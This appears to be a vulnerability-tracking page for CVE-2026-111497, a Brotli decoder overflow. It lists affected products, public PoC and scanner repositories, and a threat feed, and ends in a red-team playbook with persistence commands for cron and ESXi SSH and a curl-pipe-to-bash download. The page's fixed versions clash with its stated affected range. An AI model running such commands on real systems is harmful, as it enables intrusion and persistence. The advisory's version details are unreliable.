CVE-2026-111497
CRITICAL
CISA KEV
POC
Pub 22/10
Upd 03/11
Overview
This vulnerability is a buffer overflow caused by improper bounds checking in the Brotli decoder implementation, specifically in the c/dec/decode.c source file. The flaw occurs during the decoding process of Brotli-compressed streams, where crafted input can overwrite adjacent memory regions within the decoder's internal state. Affected components include Google Brotli library versions 1.0.3 through 1.2.0 across all supported platforms.
Vulnerability Description
A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.
Impact
An unauthenticated attacker can exploit this vulnerability by supplying a malicious Brotli-compressed stream to an application using the affected decoder, resulting in disclosure of sensitive memory contents, denial of service via application crash, or execution of arbitrary code with the privileges of the decoding process. This can lead to full system compromise or data breaches in environments where Brotli decompression is performed on untrusted input. No user interaction or credentials are necessary to trigger the exploit, increasing the attack surface for remote exploitation.
Solution
Users should upgrade any Google Brotli libraries or binaries from versions 1.0.3 through 1.2.0 to the fixed releases 1.0.10, 1.1.1, or 1.2.1 as applicable. Detailed patch instructions and updates are available in the Node.js October 2026 Security Releases advisory at https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high. No workarounds are documented; applying the vendor-provided patches is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (26)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
7
|
7-Zip | P7zip | All |
cpe:2.3:a:7-zip:p7zip:*:*:*:*:*:*:*:*
|
A
|
Andybalholm | Brotli | All |
cpe:2.3:a:andybalholm:brotli:*:*:*:*:*:go:*:*
|
A
|
Anthropic | Bun | All |
cpe:2.3:a:anthropic:bun:*:*:*:*:*:*:*:*
|
A
|
Apache | Arrow | All |
cpe:2.3:a:apache:arrow:*:*:*:*:*:*:*:*
|
|
A
|
Apache | Arrow | 27.0.0 |
cpe:2.3:a:apache:arrow:27.0.0:dev:*:*:*:*:*:*
|
C
|
Clickhouse | Clickhouse | All |
cpe:2.3:a:clickhouse:clickhouse:*:*:*:*:*:*:*:*
|
D
|
Duckdb | Duckdb | All |
cpe:2.3:a:duckdb:duckdb:*:*:*:*:*:*:*:*
|
E
|
Envoyproxy | Envoy | All |
cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*
|
G
|
Brotli | All |
cpe:2.3:a:google:brotli:*:*:*:*:*:-:*:*
|
|
|
G
|
Woff2 | N/A |
cpe:2.3:a:google:woff2:-:*:*:*:*:*:*:*
|
|
I
|
Istio | Istio | All |
cpe:2.3:a:istio:istio:*:*:*:*:*:*:*:*
|
M
|
Mcmilk | 7-Zip-Zstd | All |
cpe:2.3:a:mcmilk:7-zip-zstd:*:*:*:*:*:*:*:*
|
M
|
Microsoft | .net | All |
cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*
|
|
M
|
Microsoft | .net | 11.0.0 |
cpe:2.3:a:microsoft:.net:11.0.0:preview1:*:*:*:*:*:*
|
|
M
|
Microsoft | .net | 11.0.0 |
cpe:2.3:a:microsoft:.net:11.0.0:preview2:*:*:*:*:*:*
|
|
M
|
Microsoft | .net | 11.0.0 |
cpe:2.3:a:microsoft:.net:11.0.0:preview3:*:*:*:*:*:*
|
|
M
|
Microsoft | .net | 11.0.0 |
cpe:2.3:a:microsoft:.net:11.0.0:preview4:*:*:*:*:*:*
|
|
M
|
Microsoft | .net | 11.0.0 |
cpe:2.3:a:microsoft:.net:11.0.0:preview5:*:*:*:*:*:*
|
|
M
|
Microsoft | .net | 11.0.0 |
cpe:2.3:a:microsoft:.net:11.0.0:preview6:*:*:*:*:*:*
|
|
M
|
Microsoft | .net | 11.0.0 |
cpe:2.3:a:microsoft:.net:11.0.0:preview7:*:*:*:*:*:*
|
+6 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk.
Learn more
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (97)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
dimasma0305/CVE-2026-111497-POC
Reproducible local Brotli decoder proof for CVE-2026-111497 with a self-checking tuned RCE harness
|
dimasma0305 | 76 | 24 | 2026-10-22 | View |
|
assetnote/node2shell-scanner
High fidelity detection mechanism for node2shell (CVE-2026-111497)
|
assetnote | 86 | 13 | 2026-10-25 | View |
|
trailofbits/brotli-checker
Claude Code and Codex skill for finding potentially vulnerable Brotli copies and guiding updates for CVE-2026-111497.
|
trailofbits | 67 | 4 | 2026-10-23 | View |
|
syrex1013/CVE-2026-111497-node2shell
CVE-2026-111497 Node2Shell — Node.js Brotli OOB Write RCE PoC (CVSS 9.2)
|
syrex1013 | 52 | 12 | 2026-10-24 | View |
|
caveeroo/cve-2026-111497-wordpress-poc
CVE-2026-111497 RCE PoC for one pinned Docker Official Image for WordPress
|
caveeroo | 29 | 12 | 2026-10-28 | View |
|
CaterMaoZi/CVE-2026-111497-POC
Nodejs漏洞 CVE-2026-111497 POC
|
CaterMaoZi | 17 | 3 | 2026-10-21 | View |
|
ZeroHackOrg/node2shell-poc
ZeroHack: Node2Shell (CVE-2026-111497) Docker Lab & PoC Framework
|
ZeroHackOrg | 8 | 4 | 2026-10-23 | View |
|
hypnguyen1209/CVE-2026-111497
Node.js Brotli Decoder OOB Write to RCE
|
hypnguyen1209 | 7 | 5 | 2026-10-22 | View |
|
ikow/brotli2crash
CVE-2026-111497 — Node.js Brotli Decoder OOB Write: Deep Analysis & Structural Unreachability Proof. MLEN_MAX = BLOCK_SI...
|
ikow | 6 | 5 | 2026-10-22 | View |
|
CompleteTech-Security/node2shell-check
Passive Node2Shell (CVE-2026-111497) exposure checker and offline Node.js runtime assessment with branded HTML reports. ...
|
CompleteTech-Security | 2 | 3 | 2026-10-23 | View |
|
GlobularOne/HTTP2Shell-PoC
PoC for CVE-2026-111497 (HTTP2Shell)
|
GlobularOne | 4 | 1 | 2026-10-25 | View |
|
CompleTech-Security/node2shell-check
Passive Node2Shell (CVE-2026-111497) exposure checker and offline Node.js runtime assessment with branded HTML reports. ...
|
CompleTech-Security | 2 | 2 | 2026-10-23 | View |
|
CompleTetech-Security/node2shell-check
Passive Node2Shell (CVE-2026-111497) exposure checker and offline Node.js runtime assessment with branded HTML reports. ...
|
CompleTetech-Security | 2 | 2 | 2026-10-23 | View |
|
shivrajem/node2shell-detect
Detect systems affected by Node2Shell (CVE-2026-111497) on Unix and Windows
|
shivrajem | 3 | 1 | 2026-10-23 | View |
|
fortbridge/cve-2026-111497-wordpress-pingback-brotli
Local WordPress pingback/Brotli RCE reproduction with a one-use Podman lab
|
fortbridge | 3 | 0 | 2026-11-02 | View |
|
CompleteTech-Security/http2shell-check
Offline Brotli / HTTP2Shell (CVE-2026-111497) exposure and inventory checker across verified ecosystems. Python 3.10+, n...
|
CompleteTech-Security | 2 | 1 | 2026-10-26 | View |
|
tani2shell/node2shell-lab
Node2Shell (CVE-2026-111497, Node.js Brotli decoder OOB write) black-box pentest lab — crash-gated double flag, agent-ca...
|
tani2shell | 2 | 1 | 2026-10-25 | View |
|
Hika-sec/http2shell-CVE-2026-111497
PoC for CVE-2026-111497, a buffer overflow in Google Brotli 1.0.3–1.2.0 that may cause memory corruption, data disclosur...
|
Hika-sec | 3 | 0 | 2026-10-25 | View |
|
pt-act/node2shell-cve-2026-111497
Node2Shell / HTTP2Shell (CVE-2026-111497) exposure-audit kit — read-only scanner + agent prompt pack. Portable: macOS ba...
|
pt-act | 1 | 2 | 2026-10-24 | View |
|
tc4dy/CVE-2026-111497-Toolkit
CVE-2026-111497 – Node.js Brotli Decoder OOB Write (CVSS 9.2) | Red/Blue Team suite for unpatched Node.js 22.x, 24.x, 26...
|
tc4dy | 3 | 0 | 2026-10-24 | View |
|
Arkango/CVE-2026-111497
CVE-2026-111497 (Node2Shell) — Node.js Brotli decoder OOB heap write. Independent research: exploit code, Docker labs, E...
|
Arkango | 2 | 1 | 2026-10-23 | View |
|
completetech-security/node2shell-check
Passive Node2Shell (CVE-2026-111497) exposure checker and offline Node.js runtime assessment with branded HTML reports. ...
|
completetech-security | 1 | 2 | 2026-10-23 | View |
|
TheFool-TAROT/CVE-2026-111497-brotli-pwn
CVE-2026-111497: Node.js Brotli decoder OOB write — analysis, PoC, Docker lab
|
TheFool-TAROT | 3 | 0 | 2026-10-22 | View |
|
CompleTech-Security/http2shell-check
Offline Brotli / HTTP2Shell (CVE-2026-111497) exposure and inventory checker across verified ecosystems. Python 3.10+, n...
|
CompleTech-Security | 2 | 0 | 2026-10-26 | View |
|
Nyamort/brotli-pingback-lab
WordPress XML-RPC pingback lab and crash PoC for CVE-2026-111497 (Brotli decoder out-of-bounds write).
|
Nyamort | 1 | 1 | 2026-10-27 | View |
|
CompleTetech-Security/http2shell-check
Offline Brotli / HTTP2Shell (CVE-2026-111497) exposure and inventory checker across verified ecosystems. Python 3.10+, n...
|
CompleTetech-Security | 2 | 0 | 2026-10-26 | View |
|
yavuzsemih/brotli-secfix
Security backport toolkit for CVE-2026-111497 on Ubuntu 24.04, featuring upstream patch verification, custom Debian pack...
|
yavuzsemih | 1 | 1 | 2026-10-25 | View |
|
Secragon/node2shell-radar
Find Node.js websites and see which ones need attention. Desktop Node2Shell Scanner for CVE-2026-111497.
|
Secragon | 2 | 0 | 2026-10-24 | View |
|
googlesky/CVE-2026-111497
PoC, Docker lab, and technical report for CVE-2026-111497 (Node2Shell) — Node.js Brotli decoder invalid block-switch OOB...
|
googlesky | 2 | 0 | 2026-10-24 | View |
|
EQSTLab/CVE-2026-111497
Node2Shell
|
EQSTLab | 1 | 0 | 2026-11-02 | View |
|
fieldse/http2shell-checker
Vulnerability checker and remediation guide for CVE-2026-111497 vulnerability in Google's Brotli decoder
|
fieldse | 1 | 0 | 2026-10-29 | View |
|
mehmet-emir-eroglu/NODE2SHELL
Read-only Node2Shell detection for CVE-2026-111497 using verified Node.js artifact identities.
|
mehmet-emir-eroglu | 1 | 0 | 2026-11-01 | View |
|
Sumit0x00/node2shell
Scanner to checking (CVE-2026-111497) vulnerability
|
Sumit0x00 | 1 | 0 | 2026-10-29 | View |
|
fieldse/brotli-node2shell-check
Vulnerability checker and remediation guide for CVE-2026-111497 vulnerability in Google's Brotli decoder
|
fieldse | 1 | 0 | 2026-10-29 | View |
|
0xredash/CVE-2026-111497
CVE-2026-111497
|
0xredash | 1 | 0 | 2026-10-26 | View |
|
depuschm/brotli-k8s-scan
Find vulnerable Brotli (CVE-2026-111497, Broccoli2Shell / Node2Shell / HTTP2Shell) in Kubernetes clusters, container ima...
|
depuschm | 1 | 0 | 2026-10-27 | View |
|
tal7aouy/node2shell-scanner
Scanner for php2shell (CVE-2026-111497)
|
tal7aouy | 1 | 0 | 2026-10-27 | View |
|
amier-ge/node2shell-checker
A tool to assess potential exposure to Node2Shell (CVE-2026-111497) in Node.js projects and containers.
|
amier-ge | 0 | 1 | 2026-10-26 | View |
|
FranklinF25/http2shell
Security research on CVE-2026-111497 (HTTP2Shell): Docker-only differential lab probing the Brotli decoder OOB write acr...
|
FranklinF25 | 1 | 0 | 2026-10-25 | View |
|
0xBlackash/CVE-2026-111497
CVE-2026-111497
|
0xBlackash | 1 | 0 | 2026-10-26 | View |
|
ionsec/node2shell-detector
node2shell-detector - local + network detections for Node2Shell (CVE-2026-111497) by IONSEC. Python CLI: runtime posture...
|
ionsec | 1 | 0 | 2026-10-26 | View |
|
fbuff-tools/http2shell-checker
Check Node.js, Bun, Python Brotli and libbrotli for HTTP2Shell / Node2Shell (CVE-2026-111497): fixed versions and a read...
|
fbuff-tools | 1 | 0 | 2026-10-25 | View |
|
datmt/vulcheck
Check and fix hosts, Docker containers and k8s pods: leaked eMudhra CA trust, and Brotli decoder CVE-2026-111497 scanner
|
datmt | 0 | 1 | 2026-10-23 | View |
|
SYM01/cve-2026-111497
|
SYM01 | 1 | 0 | 2026-10-25 | View |
|
w116tjb/CVE-2026-111497_nodejs_hash_lookup
|
w116tjb | 1 | 0 | 2026-10-23 | View |
|
Charlie-Netdevops/node-hostcheck
Read-only Node.js check for the Oct 2026 security release (CVE-2026-111497 Brotli RCE + 9). Finds every install (nvm,...
|
Charlie-Netdevops | 1 | 0 | 2026-10-23 | View |
|
AdapptOnAzure/cve-2026-111497-mitigation
|
AdapptOnAzure | 1 | 0 | 2026-10-22 | View |
|
Sami-AlEsh/nodejs-security-check
Agent skill + zero-dependency script: check a Node.js project against the Oct 2026 Node.js security release (Brotli RCE ...
|
Sami-AlEsh | 1 | 0 | 2026-10-22 | View |
|
Certbn/Brotli-Node.js-CVE-2026-111497-Broccoli2Shell-Node2Shell-HTTP2Shell-
|
Certbn | 0 | 0 | 2026-11-03 | View |
|
ChriSec7/CVE-2026-111497-POC
|
ChriSec7 | 0 | 0 | 2026-11-02 | View |
|
Sable-Research/brotli-decoder-overflow
Analysis of buffer overflow in Google Brotli decoder (CVE-2026-111497)
|
Sable-Research | 0 | 0 | 2026-11-01 | View |
|
hayupisama/quarkus-brotli-audit
Audit statique de l'exposition d'une application Quarkus au décodeur Brotli vulnérable (CVE-2026-111497). Généré avec Cl...
|
hayupisama | 0 | 0 | 2026-10-31 | View |
|
adachis/pillow-patched-brotli
Pillow 13.0.0 wheel rebuilt with Brotli 1.2.1 for CVE-2026-111497, until Pillow 13.1.0 ships
|
adachis | 0 | 0 | 2026-10-31 | View |
|
Nucklear/CVE-2026-111497-working
|
Nucklear | 0 | 0 | 2026-10-30 | View |
|
atiilla/CVE-2026-111497-Node2Shell
CVE-2026-111497 - Node2Shell / HTTP2Shell
|
atiilla | 0 | 0 | 2026-10-30 | View |
|
dansaurabh/brotli2shell_Hunter
Hunt CVE-2026-111497(HTTP2Shell/Brotli2Shell): find vulnerable Brotli decoder copies, including bundled/vendored ones, a...
|
dansaurabh | 0 | 0 | 2026-10-27 | View |
|
miracle438/node2shell-two-stage
CVE-2026-111497 two-stage Brotli harness: local trigger/error-semantics verification, no exploitation
|
miracle438 | 0 | 0 | 2026-10-30 | View |
|
RedSideSecurity/node2shell
Node2Shell (CVE-2026-111497) detection-only scanner + lab — RedSide Security
|
RedSideSecurity | 0 | 0 | 2026-10-29 | View |
|
timosar/woff2shell
poc of CVE-2026-111497 delivered as a WOFF2 file
|
timosar | 0 | 0 | 2026-10-29 | View |
|
foxcornlab/node2shell-inventory-scanner
Local inventory triage for Node2Shell (CVE-2026-111497): grade every Node, Bun and Brotli copy on disk. Detection-only, ...
|
foxcornlab | 0 | 0 | 2026-10-29 | View |
|
sakai-sktech/brotli-check
Finds copies of the Google Brotli decoder affected by CVE-2026-111497 on Ubuntu and Debian hosts: the OS packages, and t...
|
sakai-sktech | 0 | 0 | 2026-10-25 | View |
|
mehmet-emir-eroglu/CVE-2026-111497
Non-invasive Python detector for CVE-2026-111497 with Brotli/Node.js version checks, JSON inventories, and CI-ready repo...
|
mehmet-emir-eroglu | 0 | 0 | 2026-10-25 | View |
|
Quaerendir/node2shell-audit
Read-only audit for Node2Shell (CVE-2026-111497): Node.js/Bun Brotli decoder out-of-bounds write
|
Quaerendir | 0 | 0 | 2026-10-28 | View |
|
gik2927/CVE-2026-111497-DOS-
CVE-2026-111497 DOS
|
gik2927 | 0 | 0 | 2026-10-28 | View |
|
hkoeck/node2shell-status
Node2Shell / Broccoli2Shell (CVE-2026-111497) vendor and Linux distro status - AI-generated, verify before acting
|
hkoeck | 0 | 0 | 2026-10-28 | View |
|
suominen/CVE-2026-111497
|
suominen | 0 | 0 | 2026-10-28 | View |
|
Ghost-Bx1/DotNet-HTTP2Shell-CVE-2026-111497
CVE-2026-111497 - .NET Brotli OOB Write PoC and Exploit (HTTP2Shell) | By Gh0st-Bx1
|
Ghost-Bx1 | 0 | 0 | 2026-10-27 | View |
|
avatarnewyork/brotli-check
Portable PHP Brotli decoder inventory for WordPress, Drupal and Symfony — CVE-2026-111497
|
avatarnewyork | 0 | 0 | 2026-10-27 | View |
|
akaihigurashi/brotli2scan
Is your website affected by HTTP2Shell (CVE-2026-111497)?
|
akaihigurashi | 0 | 0 | 2026-10-27 | View |
|
paulmann/CVE-2026-111497
Security audit and remediation agent for CVE-2026-111497, an out-of-bounds write in the Google Brotli decoder: detect, p...
|
paulmann | 0 | 0 | 2026-10-27 | View |
|
amier-ge/Node2Shell
A local Docker environment and proof of concept for Node2Shell (CVE-2026-111497)
|
amier-ge | 0 | 0 | 2026-10-26 | View |
|
thebarel/CVE-2026-111497
CVE-2026-111497 client-side research
|
thebarel | 0 | 0 | 2026-10-25 | View |
|
axisops/CVE-2026-111497
Brotli decoder CVE-2026-111497 Mitigation work (Ansible Role)
|
axisops | 0 | 0 | 2026-10-26 | View |
|
queso/formbricks-patched
formbricks 5.1.4 with Node.js 24.22.1 (CVE-2026-111497 and others) swapped in
|
queso | 0 | 0 | 2026-10-26 | View |
|
piecar21/CVE-2026-111497
PoC / exploit archive for CVE-2026-111497
|
piecar21 | 0 | 0 | 2026-10-26 | View |
|
AdapptOnAzure/CVE-2026-111497-DotNetBrotliScan
Cross-platform scanner that finds .NET apps, runtimes and Azure App Service / Functions deployments exposed to CVE-2026-...
|
AdapptOnAzure | 0 | 0 | 2026-10-26 | View |
|
jeffschafer/Bigfix-NodeJS-Vulnerability-Scanner-Content-CVE-2026-111497
BigFix YARA-X discovery Fixlets and shared Analysis for Node.js Brotli CVE-2026-111497 on Windows, Linux and macOS.
|
jeffschafer | 0 | 0 | 2026-10-25 | View |
|
bastet-ai/brotli-firing-range
CVE-2026-111497 brotli decoder firing range (RoE: loopback lab targets only)
|
bastet-ai | 0 | 0 | 2026-10-24 | View |
|
tikarammardi/CVE-2026-111497
|
tikarammardi | 0 | 0 | 2026-10-25 | View |
|
apaonum/brotli-cve-check
Agent skill + script to scan projects for CVE-2026-111497 (Brotli), rate criticality and suggest fixes
|
apaonum | 0 | 0 | 2026-10-25 | View |
|
lushinshang/cve-2026-111497-http2shell-guide
|
lushinshang | 0 | 0 | 2026-10-25 | View |
|
emirwtz/CVE-2026-111497
Non-invasive Python detector for CVE-2026-111497 with Brotli/Node.js version checks, JSON inventories, and CI-ready repo...
|
emirwtz | 0 | 0 | 2026-10-25 | View |
|
mnk-works/cve-2026-111497-rce-checker
Lab-only exact-profile RCE/DoS validator for CVE-2026-111497; refuses non-loopback targets
|
mnk-works | 0 | 0 | 2026-10-24 | View |
|
s1ko/poc-cve-2026-111497
CVE-2026-111497 (Node2Shell): deteccion del decoder Brotli vulnerable en Python y Node por el codigo de error real del d...
|
s1ko | 0 | 0 | 2026-10-24 | View |
|
lesterlam/node2shell
Independent reproduction of the Brotli decoder out-of-bounds write behind CVE-2026-111497 (Node2Shell): payload built fr...
|
lesterlam | 0 | 0 | 2026-10-24 | View |
|
utkarsssh17/cve-2026-111497-brotli-poc
|
utkarsssh17 | 0 | 0 | 2026-10-24 | View |
|
datmt/emudhra-fix
Check and fix hosts, Docker containers and k8s pods: leaked eMudhra CA trust, and Brotli decoder CVE-2026-111497 scanner
|
datmt | 0 | 0 | 2026-10-23 | View |
|
mahumadad/CVE-2026-111497-assessment
Defensive assessment toolkit for CVE-2026-111497 (Brotli OOB write): ecosystem scanner, Python outbound PoC, canary serv...
|
mahumadad | 0 | 0 | 2026-10-24 | View |
|
Blackman99/lotstamp
Reads the Brotli decoder inside every Node, Bun, Electron app and AI coding tool on your machine: which still carry CVE-...
|
Blackman99 | 0 | 0 | 2026-10-24 | View |
|
ks-labs/brotli-patch
Node.js (14 e 20, em fim de vida) com o decoder Brotli corrigido: CVE-2026-111497 (Node2Shell). Não oficial.
|
ks-labs | 0 | 0 | 2026-10-24 | View |
|
fuzheado/n2s-buildpack-probe
Throwaway probe: does Toolforge Build Service honour engines.node (CVE-2026-111497)
|
fuzheado | 0 | 0 | 2026-10-23 | View |
|
Ghost-Bx1/Node2Shell-CVE-2026-111497
CVE-2026-111497 - Node.js Brotli OOB Write Pre-Auth RCE (Node2Shell) | CVSS 4.0: 9.2 | PoC + Full Exploit | By Gh0st-Bx1
|
Ghost-Bx1 | 0 | 0 | 2026-10-23 | View |
|
AmanSin001/node-brotli-check
Check a Node.js runtime for the CVE-2026-111497 Brotli decoder fix and find where a project decodes outside Brotli data....
|
AmanSin001 | 0 | 0 | 2026-10-23 | View |
|
TahuCryptsi/brotli-distro-check
Audit Linux hosts for CVE-2026-111497 vulnerable brotli (1.0.3-1.2.0, CVSS 4.0 9.2). dpkg/apk/rpm/Node aware. Verified a...
|
TahuCryptsi | 0 | 0 | 2026-10-23 | View |
|
duytien241/nodejs-CVE-2026-111497
|
duytien241 | 0 | 0 | 2026-10-23 | View |
|
incu-tech/october-cyber-family
Security Ways for AI coding agents. First member audits Node.js repos for the Oct 21, 2026 security release (CVE-2026-11...
|
incu-tech | 0 | 0 | 2026-10-22 | View |
|
TahuCryptsi/node-brotli-check
Local probe for CVE-2026-111497 (Node.js Brotli decoder OOB write). Fixed in 22.23.4/24.22.1/26.12.1; EOL lines unpatche...
|
TahuCryptsi | 0 | 0 | 2026-10-22 | View |
Exploited in Wild
CONFIRMED
Ransomware
NOT ASSOCIATED
Attacker Interest
VERY HIGH
Sightings
Extensive activity
Threat Feed
18 events
2026-11-04
Threat Sensor Sighting — Few sightings
Sighting activity recorded
2026-11-03
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-11-02
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-11-01
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-10-31
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-10-30
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-10-29
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-28
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-27
Threat Sensor Sighting — Extensive activity
Sighting activity recorded
2026-10-27
Added to CISA KEV Catalog
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
2026-10-26
Threat Sensor Sighting — Extensive activity
Sighting activity recorded
2026-10-25
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-24
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-23
Threat Sensor Sighting — Considerable activity
Sighting activity recorded
2026-10-22
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-10-21
Threat Sensor Sighting — Some sightings
Sighting activity recorded
2026-10-21
PoC Published (97 GitHub repositories)
Proof-of-concept code is publicly available for this vulnerability
Detected as Exploited in the Wild (586 sightings)
Active exploitation confirmed with 586 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Applicable
Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Kill chain derived from the ML classifier.
Attack Vectors ML
Buffer Overflow
100%
buffer_overflow
Remote Code Execution
57%
rce
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
No techniques for the selected OS
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
No tests for the selected OS
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
T1021.004
ESXi - Enable SSH via PowerCLI
Windows
PowerShell
Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004
ESXi - Enable SSH via VIM-CMD
Windows
CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049
System Discovery using SharpView
Windows
PowerShell
Privileged
Get a listing of network connections, domains, domain users, and etc.
sharpview.exe located in the bin folder, an opensource red-team tool.
Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049
System Network Connections Discovery
Windows
CMD
Get a listing of network connections.
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049
System Network Connections Discovery FreeBSD, Linux & MacOS
Linux, macOS
Shell
Get a listing of network connections.
Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049
System Network Connections Discovery via PowerShell (Process Mapping)
Windows
PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
T1049
System Network Connections Discovery via sockstat (Linux, FreeBSD)
Linux
Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049
System Network Connections Discovery via ss or lsof (Linux/MacOS)
Linux, macOS
Bash
List active TCP/UDP network connections using ss, with lsof as a fallback
when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049
System Network Connections Discovery with PowerShell
Windows
PowerShell
Get a listing of network connections.
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003
Cron - Add script to /etc/cron.d folder
Linux
Shell
Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003
Cron - Add script to /var/spool/cron/crontabs/ folder
Linux
Bash
Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003
Cron - Add script to all cron subfolders
Linux, macOS
Bash
Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003
Cron - Replace crontab with referenced file
Linux, macOS
Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004
Change login shell
Linux
Bash
Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004
Command line scripts
Linux
Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004
Command-Line Interface
Linux, macOS
Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
